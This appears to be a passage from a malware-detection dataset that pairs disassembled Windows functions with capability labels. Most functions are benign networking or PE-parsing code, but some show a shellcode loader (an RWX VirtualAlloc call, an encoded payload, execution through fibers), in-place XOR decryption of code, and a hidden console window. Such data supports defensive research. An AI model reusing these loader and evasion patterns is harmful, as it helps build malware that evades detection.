joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005f1e0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14005f304
cmp r8d, 0xff
jne 0x14005f241
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14005f22b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x83b40]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14003bb40
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14003bb40
cmp r8d, 0xfb
jne 0x14005f253
lea r9, str.WILL
jmp 0x14005f291
cmp r8d, 0xfc
jne 0x14005f265
lea r9, str.WONT
jmp 0x14005f291
cmp r8d, 0xfd
jne 0x14005f277
lea r9, [0x140084564]
jmp 0x14005f291
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14005f2ed
cmp r10d, 0x27
jg 0x14005f2c4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x84160]
test r8, r8
jne 0x14005f2d4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14003bb40
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14005f2ab
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14003bb40
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14003bb40
add rsp, 0x38
ret

Function at 0x14005f650
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005f6af
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003b9c0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14005f1e0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14005f860
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14005fa08
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14005f8c5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14005f8c5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14005f8c5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005f8fc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14005f952
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005f952
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005f952
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005f952
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005f952
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14005f310
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14005f9b4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003b9c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14005f6e0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005fa00
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003b9c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140061170
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400a30c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140061205
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140061266
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14003b9c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140074a70
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140061321
sub ecx, 1
je 0x140061394
sub ecx, 1
je 0x1400612d0
cmp ecx, 1
je 0x1400612b3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140081fc0]
call fcn.14003b9c0
jmp 0x140061394
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140060ea0
test eax, eax
je 0x140061394
jmp 0x14006123a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140061394
sub rax, rsi
cmp rax, rbp
jae 0x140061394
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14003bb40
jmp 0x140061394
cmp r8d, 4
jle 0x140061394
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140061394
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14003b8e0
mov esi, eax
test eax, eax
je 0x140061373
mov edx, 5
mov rcx, rbx
call fcn.140061e60
mov eax, esi
jmp 0x14006123a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14004a290
mov rcx, r14
call fcn.14004a570
test eax, eax
je 0x140061238
mov edx, 5
mov rcx, rbx
call fcn.140061e60
mov eax, Ordinal_46
jmp 0x14006123a
Function at 0x140074130
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.__a_]
mov rdi, rax
test rax, rax
jne 0x140074172
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400741b9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140074212
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400741d0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140074253
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008774a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008774b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140074220
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400742cc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140074306
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14007430b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140074354
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140074354
dec r8
sub rdx, 1
jne 0x14007433a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140075888
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400758d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400758d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400758d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400758d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400758d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400758d4
xor al, al
add rsp, 0x28
ret
Function at 0x180001020
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x180019010]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1800199e0]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x60], 0x48
mov byte [rsp + 0x61], 0xb8
mov byte [rsp + 0x62], 0xd4
mov byte [rsp + 0x63], 7
mov byte [rsp + 0x64], 0x5a
mov byte [rsp + 0x65], 0xa3
mov byte [rsp + 0x66], 0xc9
mov byte [rsp + 0x67], 0xe
mov byte [rsp + 0x68], 0x20
mov byte [rsp + 0x69], 0xe1
mov byte [rsp + 0x70], 0x48
mov byte [rsp + 0x71], 0xb8
mov byte [rsp + 0x72], 0x3c
mov byte [rsp + 0x73], 0x7d
mov byte [rsp + 0x74], 0x8b
mov byte [rsp + 0x75], 0xfc
mov byte [rsp + 0x76], 0x42
mov byte [rsp + 0x77], 7
mov byte [rsp + 0x78], 0xe
mov byte [rsp + 0x79], 0x8a
movabs rax, 0xfa0cb294294af8b8
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x24], 0
mov r8d, 0xa
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call fcn.18000deb0
test eax, eax
je 0x180001121
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
jmp 0x1800010f9
mov r8d, 0xa
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
call fcn.18000deb0
test eax, eax
je 0x180001149
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
jmp 0x180001121
mov rax, qword [rsp + 0x28]
add rax, 0x11
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x50], 0x40
mov dword [rsp + 0x54], 0
mov eax, dword [rsp + 0x38]
lea r9, [rsp + 0x54]
mov r8d, dword [rsp + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x24], 0
mov byte [rsp + 0x20], 1
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
jmp 0x1800011c7
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
movzx eax, byte [rsp + 0x20]
inc al
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x30], rax
je 0x180001229
mov eax, dword [rsp + 0x24]
movzx eax, byte [rsp + rax + 0x80]
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x20]
movzx ecx, byte [rsp + 0x20]
imul eax, ecx
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x30]
mov byte [rcx], al
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
and eax, 7
mov dword [rsp + 0x24], eax
jmp 0x1800011af
mov eax, dword [rsp + 0x38]
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x54]
mov edx, eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180002930
add rsp, 0x98
ret
Function at 0x180001e90
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov dword [rsp + 8], 0
xor eax, eax
mov word [rsp], ax
xor eax, eax
mov word [rsp + 4], ax
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x180001f16
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 6]
mov word [rsp + 4], ax
jmp 0x180001f62
mov rax, qword [rsp + 0x18]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x180001f58
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
mov word [rsp + 4], ax
jmp 0x180001f62
jmp 0x180002022
mov eax, 0x28
imul rax, rax, 0
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0x14]
cmp dword [rsp + 0x40], eax
jae 0x180001f8c
mov eax, dword [rsp + 0x40]
mov dword [rsp + 8], eax
jmp 0x180002022
xor eax, eax
mov word [rsp], ax
jmp 0x180001f9f
movzx eax, word [rsp]
inc ax
mov word [rsp], ax
movzx eax, word [rsp]
movzx ecx, word [rsp + 4]
cmp eax, ecx
jge 0x180002022
movzx eax, word [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
cmp dword [rsp + 0x40], eax
jb 0x18000201d
movzx eax, word [rsp]
imul rax, rax, 0x28
movzx ecx, word [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x10]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rsp + 0x10]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rsp + 0x40], eax
jae 0x18000201d
movzx eax, word [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
movzx ecx, word [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x10]
add eax, dword [rdx + rcx + 0x14]
mov dword [rsp + 8], eax
jmp 0x180002022
jmp 0x180001f94
mov eax, dword [rsp + 8]
add rsp, 0x38
ret
Function at 0x180002030
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x1800020c6
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x78]
mov qword [rsp + 0x38], rax
jmp 0x1800020fd
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x1800020f3
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x38], rax
jmp 0x1800020fd
jmp 0x180002262
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax + 0x20]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax + 0x1c]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax + 0x24]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x58], 0
je 0x180002262
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
lea rdx, str.RdvServiceMain
mov rcx, qword [rsp + 0x60]
call fcn.1800027e0
test rax, rax
je 0x180002241
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax + 0x1c]
call fcn.180001e90
mov eax, eax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax]
call fcn.180001e90
mov dword [rsp + 0x40], eax
jmp 0x180002262
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
jmp 0x180002198
mov eax, dword [rsp + 0x40]
add rsp, 0x78
ret
Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5dd
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, str.XHVjelx1NDhcdTgzXHViNFx1YzBcdWI4XHV6MFx1MDBcdTAwXHUwMFx1NDFcdTUxXHU0MVx1NTAKXHU1Mlx1NTFcdTU2XHU0OFx1MzFcdWEyXHU2NVx1NDhcdTh5XHU1Mlx1NjBcdTQ4XHU4eVx1NTIKXHUxOFx1NDhcdTh5XHU1Mlx1MjBcdTQ4XHU4eVx1NzJcdTUwXHU0OFx1MGNcdXk3XHU0eFx1NHgKXHU0YVx1MzFcdXo5XHU0OFx1MzFcdXowXHV4elx1M3pcdTYxXHU3elx1MDJcdTJ6XHUyMFx1NDEKXHV6MVx1ejlcdTBhXHU0MVx1MDFcdXoxXHViMlx1YmFcdTUyXHU0MVx1NTFcdTQ4XHU4eVx1NTIKXHUyMFx1OHlcdTQyXHUzelx1NDhcdTAxXHVhMFx1OHlcdTgwXHU4OFx1MDBcdTAwXHUwMFx1NDgKXHU4NVx1ejBcdTc0XHU2N1x1NDhcdTAxXHVhMFx1NTBcdTh5XHU0OFx1MThcdTQ0XHU4eVx1NDAKXHUyMFx1NDlcdTAxXHVhMFx1YjNcdTU2XHU0OFx1Y2NcdXo5XHU0MVx1OHlcdTM0XHU4OFx1NDgKXHUwMVx1YTZcdTRhXHUzMVx1ejlcdTQ4XHUzMVx1ejBcdXh6XHU0MVx1ejFcdXo5XHUwYVx1NDEKXHUwMVx1ejFcdTM4XHViMFx1NzVcdWMxXHU0elx1MDNcdTR6XHUyNFx1MDhcdTQ1XHUzOVx1YTEKXHU3NVx1YThcdTU4XHU0NFx1OHlcdTQwXHUyNFx1NDlcdTAxXHVhMFx1NjZcdTQxXHU4eVx1MHoKXHU0OFx1NDRcdTh5XHU0MFx1MXpcdTQ5XHUwMVx1YTBcdTQxXHU4eVx1MDRcdTg4XHU0OFx1MDEKXHVhMFx1NDFcdTU4XHU0MVx1NThcdTViXHU1OVx1NXhcdTQxXHU1OFx1NDFcdTU5XHU0MVx1NXgKXHU0OFx1ODNcdWJ6XHUyMFx1NDFcdTUyXHVjY1x1YjBcdTU4XHU0MVx1NTlcdTV4XHU0OFx1OHkKXHUxMlx1YjlcdTU3XHVjY1x1Y2NcdWNjXHU1YVx1NDhcdXl4XHUwMVx1MDBcdTAwXHUwMFx1MDAKXHUwMFx1MDBcdTAwXHU0OFx1OGFcdThhXHUwMVx1MDFcdTAwXHUwMFx1NDFcdXl4XHUzMVx1OHkKXHU2Y1x1ODdcdWNjXHVhNVx1eXlcdWMwXHV5NVx1eDJcdTU2XHU0MVx1eXhcdXg2XHU5NVx1eWEKXHU5YVx1Y2NcdWE1XHU0OFx1ODNcdXo0XHUyOFx1M3pcdTA2XHU3elx1MHhcdTgwXHVjeVx1YjAKXHU3NVx1MDVcdXl5XHU0N1x1MTNcdTcyXHU2Y1x1NnhcdTAwXHU1OVx1NDFcdTg5XHVheFx1Y2MKXHVhNVx1NjNcdTYxXHU2elx1NjNcdTJiXHU2NVx1NzhcdTY1XHUwMA
mov ecx, 0x5dd
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 8]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFiber]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFiber]
call rax
mov rax, qword [rbp - 8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
nop
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001743
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call fcn.140001890
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call rax
mov qword [rbp - 0x10], rax
mov r8d, 0
lea rax, [0x1400016b7]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFiber]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001aa0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400028c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
